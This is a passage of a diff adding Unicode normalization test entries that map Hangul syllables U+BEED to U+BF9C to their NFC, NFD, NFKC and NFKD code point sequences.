+{ source: [0xBEED], NFC: [0xBEED], NFD: [0x1108, 0x1166, 0x11A8], NFKC: [0xBEED], NFKD: [0x1108, 0x1166, 0x11A8] },
+{ source: [0xBEEE], NFC: [0xBEEE], NFD: [0x1108, 0x1166, 0x11A9], NFKC: [0xBEEE], NFKD: [0x1108, 0x1166, 0x11A9] },
+{ source: [0xBEEF], NFC: [0xBEEF], NFD: [0x1108, 0x1166, 0x11AA], NFKC: [0xBEEF], NFKD: [0x1108, 0x1166, 0x11AA] },
+{ source: [0xBEF0], NFC: [0xBEF0], NFD: [0x1108, 0x1166, 0x11AB], NFKC: [0xBEF0], NFKD: [0x1108, 0x1166, 0x11AB] },
+{ source: [0xBEF1], NFC: [0xBEF1], NFD: [0x1108, 0x1166, 0x11AC], NFKC: [0xBEF1], NFKD: [0x1108, 0x1166, 0x11AC] },
+{ source: [0xBEF2], NFC: [0xBEF2], NFD: [0x1108, 0x1166, 0x11AD], NFKC: [0xBEF2], NFKD: [0x1108, 0x1166, 0x11AD] },
+{ source: [0xBEF3], NFC: [0xBEF3], NFD: [0x1108, 0x1166, 0x11AE], NFKC: [0xBEF3], NFKD: [0x1108, 0x1166, 0x11AE] },
+{ source: [0xBEF4], NFC: [0xBEF4], NFD: [0x1108, 0x1166, 0x11AF], NFKC: [0xBEF4], NFKD: [0x1108, 0x1166, 0x11AF] },
+{ source: [0xBEF5], NFC: [0xBEF5], NFD: [0x1108, 0x1166, 0x11B0], NFKC: [0xBEF5], NFKD: [0x1108, 0x1166, 0x11B0] },
+{ source: [0xBEF6], NFC: [0xBEF6], NFD: [0x1108, 0x1166, 0x11B1], NFKC: [0xBEF6], NFKD: [0x1108, 0x1166, 0x11B1] },
+{ source: [0xBEF7], NFC: [0xBEF7], NFD: [0x1108, 0x1166, 0x11B2], NFKC: [0xBEF7], NFKD: [0x1108, 0x1166, 0x11B2] },
+{ source: [0xBEF8], NFC: [0xBEF8], NFD: [0x1108, 0x1166, 0x11B3], NFKC: [0xBEF8], NFKD: [0x1108, 0x1166, 0x11B3] },
+{ source: [0xBEF9], NFC: [0xBEF9], NFD: [0x1108, 0x1166, 0x11B4], NFKC: [0xBEF9], NFKD: [0x1108, 0x1166, 0x11B4] },
+{ source: [0xBEFA], NFC: [0xBEFA], NFD: [0x1108, 0x1166, 0x11B5], NFKC: [0xBEFA], NFKD: [0x1108, 0x1166, 0x11B5] },
+{ source: [0xBEFB], NFC: [0xBEFB], NFD: [0x1108, 0x1166, 0x11B6], NFKC: [0xBEFB], NFKD: [0x1108, 0x1166, 0x11B6] },
+{ source: [0xBEFC], NFC: [0xBEFC], NFD: [0x1108, 0x1166, 0x11B7], NFKC: [0xBEFC], NFKD: [0x1108, 0x1166, 0x11B7] },
+{ source: [0xBEFD], NFC: [0xBEFD], NFD: [0x1108, 0x1166, 0x11B8], NFKC: [0xBEFD], NFKD: [0x1108, 0x1166, 0x11B8] },
+{ source: [0xBEFE], NFC: [0xBEFE], NFD: [0x1108, 0x1166, 0x11B9], NFKC: [0xBEFE], NFKD: [0x1108, 0x1166, 0x11B9] },
+{ source: [0xBEFF], NFC: [0xBEFF], NFD: [0x1108, 0x1166, 0x11BA], NFKC: [0xBEFF], NFKD: [0x1108, 0x1166, 0x11BA] },
+{ source: [0xBF00], NFC: [0xBF00], NFD: [0x1108, 0x1166, 0x11BB], NFKC: [0xBF00], NFKD: [0x1108, 0x1166, 0x11BB] },
+{ source: [0xBF01], NFC: [0xBF01], NFD: [0x1108, 0x1166, 0x11BC], NFKC: [0xBF01], NFKD: [0x1108, 0x1166, 0x11BC] },
+{ source: [0xBF02], NFC: [0xBF02], NFD: [0x1108, 0x1166, 0x11BD], NFKC: [0xBF02], NFKD: [0x1108, 0x1166, 0x11BD] },
+{ source: [0xBF03], NFC: [0xBF03], NFD: [0x1108, 0x1166, 0x11BE], NFKC: [0xBF03], NFKD: [0x1108, 0x1166, 0x11BE] },
+{ source: [0xBF04], NFC: [0xBF04], NFD: [0x1108, 0x1166, 0x11BF], NFKC: [0xBF04], NFKD: [0x1108, 0x1166, 0x11BF] },
+{ source: [0xBF05], NFC: [0xBF05], NFD: [0x1108, 0x1166, 0x11C0], NFKC: [0xBF05], NFKD: [0x1108, 0x1166, 0x11C0] },
+{ source: [0xBF06], NFC: [0xBF06], NFD: [0x1108, 0x1166, 0x11C1], NFKC: [0xBF06], NFKD: [0x1108, 0x1166, 0x11C1] },
+{ source: [0xBF07], NFC: [0xBF07], NFD: [0x1108, 0x1166, 0x11C2], NFKC: [0xBF07], NFKD: [0x1108, 0x1166, 0x11C2] },
+{ source: [0xBF08], NFC: [0xBF08], NFD: [0x1108, 0x1167], NFKC: [0xBF08], NFKD: [0x1108, 0x1167] },
+{ source: [0xBF09], NFC: [0xBF09], NFD: [0x1108, 0x1167, 0x11A8], NFKC: [0xBF09], NFKD: [0x1108, 0x1167, 0x11A8] },
+{ source: [0xBF0A], NFC: [0xBF0A], NFD: [0x1108, 0x1167, 0x11A9], NFKC: [0xBF0A], NFKD: [0x1108, 0x1167, 0x11A9] },
+{ source: [0xBF0B], NFC: [0xBF0B], NFD: [0x1108, 0x1167, 0x11AA], NFKC: [0xBF0B], NFKD: [0x1108, 0x1167, 0x11AA] },
+{ source: [0xBF0C], NFC: [0xBF0C], NFD: [0x1108, 0x1167, 0x11AB], NFKC: [0xBF0C], NFKD: [0x1108, 0x1167, 0x11AB] },
+{ source: [0xBF0D], NFC: [0xBF0D], NFD: [0x1108, 0x1167, 0x11AC], NFKC: [0xBF0D], NFKD: [0x1108, 0x1167, 0x11AC] },
+{ source: [0xBF0E], NFC: [0xBF0E], NFD: [0x1108, 0x1167, 0x11AD], NFKC: [0xBF0E], NFKD: [0x1108, 0x1167, 0x11AD] },
+{ source: [0xBF0F], NFC: [0xBF0F], NFD: [0x1108, 0x1167, 0x11AE], NFKC: [0xBF0F], NFKD: [0x1108, 0x1167, 0x11AE] },
+{ source: [0xBF10], NFC: [0xBF10], NFD: [0x1108, 0x1167, 0x11AF], NFKC: [0xBF10], NFKD: [0x1108, 0x1167, 0x11AF] },
+{ source: [0xBF11], NFC: [0xBF11], NFD: [0x1108, 0x1167, 0x11B0], NFKC: [0xBF11], NFKD: [0x1108, 0x1167, 0x11B0] },
+{ source: [0xBF12], NFC: [0xBF12], NFD: [0x1108, 0x1167, 0x11B1], NFKC: [0xBF12], NFKD: [0x1108, 0x1167, 0x11B1] },
+{ source: [0xBF13], NFC: [0xBF13], NFD: [0x1108, 0x1167, 0x11B2], NFKC: [0xBF13], NFKD: [0x1108, 0x1167, 0x11B2] },
+{ source: [0xBF14], NFC: [0xBF14], NFD: [0x1108, 0x1167, 0x11B3], NFKC: [0xBF14], NFKD: [0x1108, 0x1167, 0x11B3] },
+{ source: [0xBF15], NFC: [0xBF15], NFD: [0x1108, 0x1167, 0x11B4], NFKC: [0xBF15], NFKD: [0x1108, 0x1167, 0x11B4] },
+{ source: [0xBF16], NFC: [0xBF16], NFD: [0x1108, 0x1167, 0x11B5], NFKC: [0xBF16], NFKD: [0x1108, 0x1167, 0x11B5] },
+{ source: [0xBF17], NFC: [0xBF17], NFD: [0x1108, 0x1167, 0x11B6], NFKC: [0xBF17], NFKD: [0x1108, 0x1167, 0x11B6] },
+{ source: [0xBF18], NFC: [0xBF18], NFD: [0x1108, 0x1167, 0x11B7], NFKC: [0xBF18], NFKD: [0x1108, 0x1167, 0x11B7] },
+{ source: [0xBF19], NFC: [0xBF19], NFD: [0x1108, 0x1167, 0x11B8], NFKC: [0xBF19], NFKD: [0x1108, 0x1167, 0x11B8] },
+{ source: [0xBF1A], NFC: [0xBF1A], NFD: [0x1108, 0x1167, 0x11B9], NFKC: [0xBF1A], NFKD: [0x1108, 0x1167, 0x11B9] },
+{ source: [0xBF1B], NFC: [0xBF1B], NFD: [0x1108, 0x1167, 0x11BA], NFKC: [0xBF1B], NFKD: [0x1108, 0x1167, 0x11BA] },
+{ source: [0xBF1C], NFC: [0xBF1C], NFD: [0x1108, 0x1167, 0x11BB], NFKC: [0xBF1C], NFKD: [0x1108, 0x1167, 0x11BB] },
+{ source: [0xBF1D], NFC: [0xBF1D], NFD: [0x1108, 0x1167, 0x11BC], NFKC: [0xBF1D], NFKD: [0x1108, 0x1167, 0x11BC] },
+{ source: [0xBF1E], NFC: [0xBF1E], NFD: [0x1108, 0x1167, 0x11BD], NFKC: [0xBF1E], NFKD: [0x1108, 0x1167, 0x11BD] },
+{ source: [0xBF1F], NFC: [0xBF1F], NFD: [0x1108, 0x1167, 0x11BE], NFKC: [0xBF1F], NFKD: [0x1108, 0x1167, 0x11BE] },
+{ source: [0xBF20], NFC: [0xBF20], NFD: [0x1108, 0x1167, 0x11BF], NFKC: [0xBF20], NFKD: [0x1108, 0x1167, 0x11BF] },
+{ source: [0xBF21], NFC: [0xBF21], NFD: [0x1108, 0x1167, 0x11C0], NFKC: [0xBF21], NFKD: [0x1108, 0x1167, 0x11C0] },
+{ source: [0xBF22], NFC: [0xBF22], NFD: [0x1108, 0x1167, 0x11C1], NFKC: [0xBF22], NFKD: [0x1108, 0x1167, 0x11C1] },
+{ source: [0xBF23], NFC: [0xBF23], NFD: [0x1108, 0x1167, 0x11C2], NFKC: [0xBF23], NFKD: [0x1108, 0x1167, 0x11C2] },
+{ source: [0xBF24], NFC: [0xBF24], NFD: [0x1108, 0x1168], NFKC: [0xBF24], NFKD: [0x1108, 0x1168] },
+{ source: [0xBF25], NFC: [0xBF25], NFD: [0x1108, 0x1168, 0x11A8], NFKC: [0xBF25], NFKD: [0x1108, 0x1168, 0x11A8] },
+{ source: [0xBF26], NFC: [0xBF26], NFD: [0x1108, 0x1168, 0x11A9], NFKC: [0xBF26], NFKD: [0x1108, 0x1168, 0x11A9] },
+{ source: [0xBF27], NFC: [0xBF27], NFD: [0x1108, 0x1168, 0x11AA], NFKC: [0xBF27], NFKD: [0x1108, 0x1168, 0x11AA] },
+{ source: [0xBF28], NFC: [0xBF28], NFD: [0x1108, 0x1168, 0x11AB], NFKC: [0xBF28], NFKD: [0x1108, 0x1168, 0x11AB] },
+{ source: [0xBF29], NFC: [0xBF29], NFD: [0x1108, 0x1168, 0x11AC], NFKC: [0xBF29], NFKD: [0x1108, 0x1168, 0x11AC] },
+{ source: [0xBF2A], NFC: [0xBF2A], NFD: [0x1108, 0x1168, 0x11AD], NFKC: [0xBF2A], NFKD: [0x1108, 0x1168, 0x11AD] },
+{ source: [0xBF2B], NFC: [0xBF2B], NFD: [0x1108, 0x1168, 0x11AE], NFKC: [0xBF2B], NFKD: [0x1108, 0x1168, 0x11AE] },
+{ source: [0xBF2C], NFC: [0xBF2C], NFD: [0x1108, 0x1168, 0x11AF], NFKC: [0xBF2C], NFKD: [0x1108, 0x1168, 0x11AF] },
+{ source: [0xBF2D], NFC: [0xBF2D], NFD: [0x1108, 0x1168, 0x11B0], NFKC: [0xBF2D], NFKD: [0x1108, 0x1168, 0x11B0] },
+{ source: [0xBF2E], NFC: [0xBF2E], NFD: [0x1108, 0x1168, 0x11B1], NFKC: [0xBF2E], NFKD: [0x1108, 0x1168, 0x11B1] },
+{ source: [0xBF2F], NFC: [0xBF2F], NFD: [0x1108, 0x1168, 0x11B2], NFKC: [0xBF2F], NFKD: [0x1108, 0x1168, 0x11B2] },
+{ source: [0xBF30], NFC: [0xBF30], NFD: [0x1108, 0x1168, 0x11B3], NFKC: [0xBF30], NFKD: [0x1108, 0x1168, 0x11B3] },
+{ source: [0xBF31], NFC: [0xBF31], NFD: [0x1108, 0x1168, 0x11B4], NFKC: [0xBF31], NFKD: [0x1108, 0x1168, 0x11B4] },
+{ source: [0xBF32], NFC: [0xBF32], NFD: [0x1108, 0x1168, 0x11B5], NFKC: [0xBF32], NFKD: [0x1108, 0x1168, 0x11B5] },
+{ source: [0xBF33], NFC: [0xBF33], NFD: [0x1108, 0x1168, 0x11B6], NFKC: [0xBF33], NFKD: [0x1108, 0x1168, 0x11B6] },
+{ source: [0xBF34], NFC: [0xBF34], NFD: [0x1108, 0x1168, 0x11B7], NFKC: [0xBF34], NFKD: [0x1108, 0x1168, 0x11B7] },
+{ source: [0xBF35], NFC: [0xBF35], NFD: [0x1108, 0x1168, 0x11B8], NFKC: [0xBF35], NFKD: [0x1108, 0x1168, 0x11B8] },
+{ source: [0xBF36], NFC: [0xBF36], NFD: [0x1108, 0x1168, 0x11B9], NFKC: [0xBF36], NFKD: [0x1108, 0x1168, 0x11B9] },
+{ source: [0xBF37], NFC: [0xBF37], NFD: [0x1108, 0x1168, 0x11BA], NFKC: [0xBF37], NFKD: [0x1108, 0x1168, 0x11BA] },
+{ source: [0xBF38], NFC: [0xBF38], NFD: [0x1108, 0x1168, 0x11BB], NFKC: [0xBF38], NFKD: [0x1108, 0x1168, 0x11BB] },
+{ source: [0xBF39], NFC: [0xBF39], NFD: [0x1108, 0x1168, 0x11BC], NFKC: [0xBF39], NFKD: [0x1108, 0x1168, 0x11BC] },
+{ source: [0xBF3A], NFC: [0xBF3A], NFD: [0x1108, 0x1168, 0x11BD], NFKC: [0xBF3A], NFKD: [0x1108, 0x1168, 0x11BD] },
+{ source: [0xBF3B], NFC: [0xBF3B], NFD: [0x1108, 0x1168, 0x11BE], NFKC: [0xBF3B], NFKD: [0x1108, 0x1168, 0x11BE] },
+{ source: [0xBF3C], NFC: [0xBF3C], NFD: [0x1108, 0x1168, 0x11BF], NFKC: [0xBF3C], NFKD: [0x1108, 0x1168, 0x11BF] },
+{ source: [0xBF3D], NFC: [0xBF3D], NFD: [0x1108, 0x1168, 0x11C0], NFKC: [0xBF3D], NFKD: [0x1108, 0x1168, 0x11C0] },
+{ source: [0xBF3E], NFC: [0xBF3E], NFD: [0x1108, 0x1168, 0x11C1], NFKC: [0xBF3E], NFKD: [0x1108, 0x1168, 0x11C1] },
+{ source: [0xBF3F], NFC: [0xBF3F], NFD: [0x1108, 0x1168, 0x11C2], NFKC: [0xBF3F], NFKD: [0x1108, 0x1168, 0x11C2] },
+{ source: [0xBF40], NFC: [0xBF40], NFD: [0x1108, 0x1169], NFKC: [0xBF40], NFKD: [0x1108, 0x1169] },
+{ source: [0xBF41], NFC: [0xBF41], NFD: [0x1108, 0x1169, 0x11A8], NFKC: [0xBF41], NFKD: [0x1108, 0x1169, 0x11A8] },
+{ source: [0xBF42], NFC: [0xBF42], NFD: [0x1108, 0x1169, 0x11A9], NFKC: [0xBF42], NFKD: [0x1108, 0x1169, 0x11A9] },
+{ source: [0xBF43], NFC: [0xBF43], NFD: [0x1108, 0x1169, 0x11AA], NFKC: [0xBF43], NFKD: [0x1108, 0x1169, 0x11AA] },
+{ source: [0xBF44], NFC: [0xBF44], NFD: [0x1108, 0x1169, 0x11AB], NFKC: [0xBF44], NFKD: [0x1108, 0x1169, 0x11AB] },
+{ source: [0xBF45], NFC: [0xBF45], NFD: [0x1108, 0x1169, 0x11AC], NFKC: [0xBF45], NFKD: [0x1108, 0x1169, 0x11AC] },
+{ source: [0xBF46], NFC: [0xBF46], NFD: [0x1108, 0x1169, 0x11AD], NFKC: [0xBF46], NFKD: [0x1108, 0x1169, 0x11AD] },
+{ source: [0xBF47], NFC: [0xBF47], NFD: [0x1108, 0x1169, 0x11AE], NFKC: [0xBF47], NFKD: [0x1108, 0x1169, 0x11AE] },
+{ source: [0xBF48], NFC: [0xBF48], NFD: [0x1108, 0x1169, 0x11AF], NFKC: [0xBF48], NFKD: [0x1108, 0x1169, 0x11AF] },
+{ source: [0xBF49], NFC: [0xBF49], NFD: [0x1108, 0x1169, 0x11B0], NFKC: [0xBF49], NFKD: [0x1108, 0x1169, 0x11B0] },
+{ source: [0xBF4A], NFC: [0xBF4A], NFD: [0x1108, 0x1169, 0x11B1], NFKC: [0xBF4A], NFKD: [0x1108, 0x1169, 0x11B1] },
+{ source: [0xBF4B], NFC: [0xBF4B], NFD: [0x1108, 0x1169, 0x11B2], NFKC: [0xBF4B], NFKD: [0x1108, 0x1169, 0x11B2] },
+{ source: [0xBF4C], NFC: [0xBF4C], NFD: [0x1108, 0x1169, 0x11B3], NFKC: [0xBF4C], NFKD: [0x1108, 0x1169, 0x11B3] },
+{ source: [0xBF4D], NFC: [0xBF4D], NFD: [0x1108, 0x1169, 0x11B4], NFKC: [0xBF4D], NFKD: [0x1108, 0x1169, 0x11B4] },
+{ source: [0xBF4E], NFC: [0xBF4E], NFD: [0x1108, 0x1169, 0x11B5], NFKC: [0xBF4E], NFKD: [0x1108, 0x1169, 0x11B5] },
+{ source: [0xBF4F], NFC: [0xBF4F], NFD: [0x1108, 0x1169, 0x11B6], NFKC: [0xBF4F], NFKD: [0x1108, 0x1169, 0x11B6] },
+{ source: [0xBF50], NFC: [0xBF50], NFD: [0x1108, 0x1169, 0x11B7], NFKC: [0xBF50], NFKD: [0x1108, 0x1169, 0x11B7] },
+{ source: [0xBF51], NFC: [0xBF51], NFD: [0x1108, 0x1169, 0x11B8], NFKC: [0xBF51], NFKD: [0x1108, 0x1169, 0x11B8] },
+{ source: [0xBF52], NFC: [0xBF52], NFD: [0x1108, 0x1169, 0x11B9], NFKC: [0xBF52], NFKD: [0x1108, 0x1169, 0x11B9] },
+{ source: [0xBF53], NFC: [0xBF53], NFD: [0x1108, 0x1169, 0x11BA], NFKC: [0xBF53], NFKD: [0x1108, 0x1169, 0x11BA] },
+{ source: [0xBF54], NFC: [0xBF54], NFD: [0x1108, 0x1169, 0x11BB], NFKC: [0xBF54], NFKD: [0x1108, 0x1169, 0x11BB] },
+{ source: [0xBF55], NFC: [0xBF55], NFD: [0x1108, 0x1169, 0x11BC], NFKC: [0xBF55], NFKD: [0x1108, 0x1169, 0x11BC] },
+{ source: [0xBF56], NFC: [0xBF56], NFD: [0x1108, 0x1169, 0x11BD], NFKC: [0xBF56], NFKD: [0x1108, 0x1169, 0x11BD] },
+{ source: [0xBF57], NFC: [0xBF57], NFD: [0x1108, 0x1169, 0x11BE], NFKC: [0xBF57], NFKD: [0x1108, 0x1169, 0x11BE] },
+{ source: [0xBF58], NFC: [0xBF58], NFD: [0x1108, 0x1169, 0x11BF], NFKC: [0xBF58], NFKD: [0x1108, 0x1169, 0x11BF] },
+{ source: [0xBF59], NFC: [0xBF59], NFD: [0x1108, 0x1169, 0x11C0], NFKC: [0xBF59], NFKD: [0x1108, 0x1169, 0x11C0] },
+{ source: [0xBF5A], NFC: [0xBF5A], NFD: [0x1108, 0x1169, 0x11C1], NFKC: [0xBF5A], NFKD: [0x1108, 0x1169, 0x11C1] },
+{ source: [0xBF5B], NFC: [0xBF5B], NFD: [0x1108, 0x1169, 0x11C2], NFKC: [0xBF5B], NFKD: [0x1108, 0x1169, 0x11C2] },
+{ source: [0xBF5C], NFC: [0xBF5C], NFD: [0x1108, 0x116A], NFKC: [0xBF5C], NFKD: [0x1108, 0x116A] },
+{ source: [0xBF5D], NFC: [0xBF5D], NFD: [0x1108, 0x116A, 0x11A8], NFKC: [0xBF5D], NFKD: [0x1108, 0x116A, 0x11A8] },
+{ source: [0xBF5E], NFC: [0xBF5E], NFD: [0x1108, 0x116A, 0x11A9], NFKC: [0xBF5E], NFKD: [0x1108, 0x116A, 0x11A9] },
+{ source: [0xBF5F], NFC: [0xBF5F], NFD: [0x1108, 0x116A, 0x11AA], NFKC: [0xBF5F], NFKD: [0x1108, 0x116A, 0x11AA] },
+{ source: [0xBF60], NFC: [0xBF60], NFD: [0x1108, 0x116A, 0x11AB], NFKC: [0xBF60], NFKD: [0x1108, 0x116A, 0x11AB] },
+{ source: [0xBF61], NFC: [0xBF61], NFD: [0x1108, 0x116A, 0x11AC], NFKC: [0xBF61], NFKD: [0x1108, 0x116A, 0x11AC] },
+{ source: [0xBF62], NFC: [0xBF62], NFD: [0x1108, 0x116A, 0x11AD], NFKC: [0xBF62], NFKD: [0x1108, 0x116A, 0x11AD] },
+{ source: [0xBF63], NFC: [0xBF63], NFD: [0x1108, 0x116A, 0x11AE], NFKC: [0xBF63], NFKD: [0x1108, 0x116A, 0x11AE] },
+{ source: [0xBF64], NFC: [0xBF64], NFD: [0x1108, 0x116A, 0x11AF], NFKC: [0xBF64], NFKD: [0x1108, 0x116A, 0x11AF] },
+{ source: [0xBF65], NFC: [0xBF65], NFD: [0x1108, 0x116A, 0x11B0], NFKC: [0xBF65], NFKD: [0x1108, 0x116A, 0x11B0] },
+{ source: [0xBF66], NFC: [0xBF66], NFD: [0x1108, 0x116A, 0x11B1], NFKC: [0xBF66], NFKD: [0x1108, 0x116A, 0x11B1] },
+{ source: [0xBF67], NFC: [0xBF67], NFD: [0x1108, 0x116A, 0x11B2], NFKC: [0xBF67], NFKD: [0x1108, 0x116A, 0x11B2] },
+{ source: [0xBF68], NFC: [0xBF68], NFD: [0x1108, 0x116A, 0x11B3], NFKC: [0xBF68], NFKD: [0x1108, 0x116A, 0x11B3] },
+{ source: [0xBF69], NFC: [0xBF69], NFD: [0x1108, 0x116A, 0x11B4], NFKC: [0xBF69], NFKD: [0x1108, 0x116A, 0x11B4] },
+{ source: [0xBF6A], NFC: [0xBF6A], NFD: [0x1108, 0x116A, 0x11B5], NFKC: [0xBF6A], NFKD: [0x1108, 0x116A, 0x11B5] },
+{ source: [0xBF6B], NFC: [0xBF6B], NFD: [0x1108, 0x116A, 0x11B6], NFKC: [0xBF6B], NFKD: [0x1108, 0x116A, 0x11B6] },
+{ source: [0xBF6C], NFC: [0xBF6C], NFD: [0x1108, 0x116A, 0x11B7], NFKC: [0xBF6C], NFKD: [0x1108, 0x116A, 0x11B7] },
+{ source: [0xBF6D], NFC: [0xBF6D], NFD: [0x1108, 0x116A, 0x11B8], NFKC: [0xBF6D], NFKD: [0x1108, 0x116A, 0x11B8] },
+{ source: [0xBF6E], NFC: [0xBF6E], NFD: [0x1108, 0x116A, 0x11B9], NFKC: [0xBF6E], NFKD: [0x1108, 0x116A, 0x11B9] },
+{ source: [0xBF6F], NFC: [0xBF6F], NFD: [0x1108, 0x116A, 0x11BA], NFKC: [0xBF6F], NFKD: [0x1108, 0x116A, 0x11BA] },
+{ source: [0xBF70], NFC: [0xBF70], NFD: [0x1108, 0x116A, 0x11BB], NFKC: [0xBF70], NFKD: [0x1108, 0x116A, 0x11BB] },
+{ source: [0xBF71], NFC: [0xBF71], NFD: [0x1108, 0x116A, 0x11BC], NFKC: [0xBF71], NFKD: [0x1108, 0x116A, 0x11BC] },
+{ source: [0xBF72], NFC: [0xBF72], NFD: [0x1108, 0x116A, 0x11BD], NFKC: [0xBF72], NFKD: [0x1108, 0x116A, 0x11BD] },
+{ source: [0xBF73], NFC: [0xBF73], NFD: [0x1108, 0x116A, 0x11BE], NFKC: [0xBF73], NFKD: [0x1108, 0x116A, 0x11BE] },
+{ source: [0xBF74], NFC: [0xBF74], NFD: [0x1108, 0x116A, 0x11BF], NFKC: [0xBF74], NFKD: [0x1108, 0x116A, 0x11BF] },
+{ source: [0xBF75], NFC: [0xBF75], NFD: [0x1108, 0x116A, 0x11C0], NFKC: [0xBF75], NFKD: [0x1108, 0x116A, 0x11C0] },
+{ source: [0xBF76], NFC: [0xBF76], NFD: [0x1108, 0x116A, 0x11C1], NFKC: [0xBF76], NFKD: [0x1108, 0x116A, 0x11C1] },
+{ source: [0xBF77], NFC: [0xBF77], NFD: [0x1108, 0x116A, 0x11C2], NFKC: [0xBF77], NFKD: [0x1108, 0x116A, 0x11C2] },
+{ source: [0xBF78], NFC: [0xBF78], NFD: [0x1108, 0x116B], NFKC: [0xBF78], NFKD: [0x1108, 0x116B] },
+{ source: [0xBF79], NFC: [0xBF79], NFD: [0x1108, 0x116B, 0x11A8], NFKC: [0xBF79], NFKD: [0x1108, 0x116B, 0x11A8] },
+{ source: [0xBF7A], NFC: [0xBF7A], NFD: [0x1108, 0x116B, 0x11A9], NFKC: [0xBF7A], NFKD: [0x1108, 0x116B, 0x11A9] },
+{ source: [0xBF7B], NFC: [0xBF7B], NFD: [0x1108, 0x116B, 0x11AA], NFKC: [0xBF7B], NFKD: [0x1108, 0x116B, 0x11AA] },
+{ source: [0xBF7C], NFC: [0xBF7C], NFD: [0x1108, 0x116B, 0x11AB], NFKC: [0xBF7C], NFKD: [0x1108, 0x116B, 0x11AB] },
+{ source: [0xBF7D], NFC: [0xBF7D], NFD: [0x1108, 0x116B, 0x11AC], NFKC: [0xBF7D], NFKD: [0x1108, 0x116B, 0x11AC] },
+{ source: [0xBF7E], NFC: [0xBF7E], NFD: [0x1108, 0x116B, 0x11AD], NFKC: [0xBF7E], NFKD: [0x1108, 0x116B, 0x11AD] },
+{ source: [0xBF7F], NFC: [0xBF7F], NFD: [0x1108, 0x116B, 0x11AE], NFKC: [0xBF7F], NFKD: [0x1108, 0x116B, 0x11AE] },
+{ source: [0xBF80], NFC: [0xBF80], NFD: [0x1108, 0x116B, 0x11AF], NFKC: [0xBF80], NFKD: [0x1108, 0x116B, 0x11AF] },
+{ source: [0xBF81], NFC: [0xBF81], NFD: [0x1108, 0x116B, 0x11B0], NFKC: [0xBF81], NFKD: [0x1108, 0x116B, 0x11B0] },
+{ source: [0xBF82], NFC: [0xBF82], NFD: [0x1108, 0x116B, 0x11B1], NFKC: [0xBF82], NFKD: [0x1108, 0x116B, 0x11B1] },
+{ source: [0xBF83], NFC: [0xBF83], NFD: [0x1108, 0x116B, 0x11B2], NFKC: [0xBF83], NFKD: [0x1108, 0x116B, 0x11B2] },
+{ source: [0xBF84], NFC: [0xBF84], NFD: [0x1108, 0x116B, 0x11B3], NFKC: [0xBF84], NFKD: [0x1108, 0x116B, 0x11B3] },
+{ source: [0xBF85], NFC: [0xBF85], NFD: [0x1108, 0x116B, 0x11B4], NFKC: [0xBF85], NFKD: [0x1108, 0x116B, 0x11B4] },
+{ source: [0xBF86], NFC: [0xBF86], NFD: [0x1108, 0x116B, 0x11B5], NFKC: [0xBF86], NFKD: [0x1108, 0x116B, 0x11B5] },
+{ source: [0xBF87], NFC: [0xBF87], NFD: [0x1108, 0x116B, 0x11B6], NFKC: [0xBF87], NFKD: [0x1108, 0x116B, 0x11B6] },
+{ source: [0xBF88], NFC: [0xBF88], NFD: [0x1108, 0x116B, 0x11B7], NFKC: [0xBF88], NFKD: [0x1108, 0x116B, 0x11B7] },
+{ source: [0xBF89], NFC: [0xBF89], NFD: [0x1108, 0x116B, 0x11B8], NFKC: [0xBF89], NFKD: [0x1108, 0x116B, 0x11B8] },
+{ source: [0xBF8A], NFC: [0xBF8A], NFD: [0x1108, 0x116B, 0x11B9], NFKC: [0xBF8A], NFKD: [0x1108, 0x116B, 0x11B9] },
+{ source: [0xBF8B], NFC: [0xBF8B], NFD: [0x1108, 0x116B, 0x11BA], NFKC: [0xBF8B], NFKD: [0x1108, 0x116B, 0x11BA] },
+{ source: [0xBF8C], NFC: [0xBF8C], NFD: [0x1108, 0x116B, 0x11BB], NFKC: [0xBF8C], NFKD: [0x1108, 0x116B, 0x11BB] },
+{ source: [0xBF8D], NFC: [0xBF8D], NFD: [0x1108, 0x116B, 0x11BC], NFKC: [0xBF8D], NFKD: [0x1108, 0x116B, 0x11BC] },
+{ source: [0xBF8E], NFC: [0xBF8E], NFD: [0x1108, 0x116B, 0x11BD], NFKC: [0xBF8E], NFKD: [0x1108, 0x116B, 0x11BD] },
+{ source: [0xBF8F], NFC: [0xBF8F], NFD: [0x1108, 0x116B, 0x11BE], NFKC: [0xBF8F], NFKD: [0x1108, 0x116B, 0x11BE] },
+{ source: [0xBF90], NFC: [0xBF90], NFD: [0x1108, 0x116B, 0x11BF], NFKC: [0xBF90], NFKD: [0x1108, 0x116B, 0x11BF] },
+{ source: [0xBF91], NFC: [0xBF91], NFD: [0x1108, 0x116B, 0x11C0], NFKC: [0xBF91], NFKD: [0x1108, 0x116B, 0x11C0] },
+{ source: [0xBF92], NFC: [0xBF92], NFD: [0x1108, 0x116B, 0x11C1], NFKC: [0xBF92], NFKD: [0x1108, 0x116B, 0x11C1] },
+{ source: [0xBF93], NFC: [0xBF93], NFD: [0x1108, 0x116B, 0x11C2], NFKC: [0xBF93], NFKD: [0x1108, 0x116B, 0x11C2] },
+{ source: [0xBF94], NFC: [0xBF94], NFD: [0x1108, 0x116C], NFKC: [0xBF94], NFKD: [0x1108, 0x116C] },
+{ source: [0xBF95], NFC: [0xBF95], NFD: [0x1108, 0x116C, 0x11A8], NFKC: [0xBF95], NFKD: [0x1108, 0x116C, 0x11A8] },
+{ source: [0xBF96], NFC: [0xBF96], NFD: [0x1108, 0x116C, 0x11A9], NFKC: [0xBF96], NFKD: [0x1108, 0x116C, 0x11A9] },
+{ source: [0xBF97], NFC: [0xBF97], NFD: [0x1108, 0x116C, 0x11AA], NFKC: [0xBF97], NFKD: [0x1108, 0x116C, 0x11AA] },
+{ source: [0xBF98], NFC: [0xBF98], NFD: [0x1108, 0x116C, 0x11AB], NFKC: [0xBF98], NFKD: [0x1108, 0x116C, 0x11AB] },
+{ source: [0xBF99], NFC: [0xBF99], NFD: [0x1108, 0x116C, 0x11AC], NFKC: [0xBF99], NFKD: [0x1108, 0x116C, 0x11AC] },
+{ source: [0xBF9A], NFC: [0xBF9A], NFD: [0x1108, 0x116C, 0x11AD], NFKC: [0xBF9A], NFKD: [0x1108, 0x116C, 0x11AD] },
+{ source: [0xBF9B], NFC: [0xBF9B], NFD: [0x1108, 0x116C, 0x11AE], NFKC: [0xBF9B], NFKD: [0x1108, 0x116C, 0x11AE] },
+{ source: [0xBF9C], NFC: [0xBF9C], NFD: [0x1108, 0x116C, 0x11AF], NFKC: [0xBF9C], NFKD: [0x1108, 0x116C, 0x11AF] },
